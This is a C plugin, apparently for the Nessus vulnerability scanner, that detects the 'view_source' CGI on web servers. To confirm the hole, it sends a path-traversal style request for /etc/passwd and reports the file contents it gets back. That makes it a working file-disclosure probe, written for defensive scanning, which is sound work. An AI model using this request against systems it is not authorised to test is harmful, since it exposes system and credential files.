/*
 * 
 * php
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "view_source"
#define DESC "\
The 'view_source' cgi, shipped with some httpd distributions\n\
allow a remote user to view any file the httpd daemon has the \n\
right to read\n\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "determines the presence of the 'view-source' cgi"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
  plug_set_name(desc, NAME);
  plug_set_description(desc, DESC);
  plug_set_summary(desc, SUMM);
  plug_set_copyright(desc, COPYRIGHT);
  plug_set_category(desc, ACT_ATTACK);
  plug_set_family(desc, "CGI abuses");
  return(0);
}



PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
  
  if(host_get_port_state(args, 80)<=0)return(0);
  if(is_cgi_installed(args, "view-source"))
    {
      char * buffer = emalloc(32000);
      char * result;
      char *test_file = get_preference(args, "test_file");
      int soc = open_sock_tcp(args, 80);
      
      if(soc<=0)
	/* Couldn't re-open the connection... Strange !*/
	post_hole(args, 80, "The 'view_source' cgi is present\nRemote files may be viewable");
      else {
	sprintf(buffer, "GET /cgi-bin/view_source?%s\n",
	  	test_file?test_file:"/etc/passwd");
	send(soc, buffer, strlen(buffer), 0);
	bzero(buffer, 32000);
	read(soc, buffer, 32000);
	result = emalloc(strlen(buffer) + 100);
	sprintf(result, "The 'view_source' cgi is present\nWe attempted to obtain %s :\n%s\n", 
		test_file?test_file:"/etc/passwd",
		buffer);
	efree(&buffer);
	post_hole(args, 80, result);
	efree(&result);
	socket_close(soc);
      }
    }
  return(0);
}

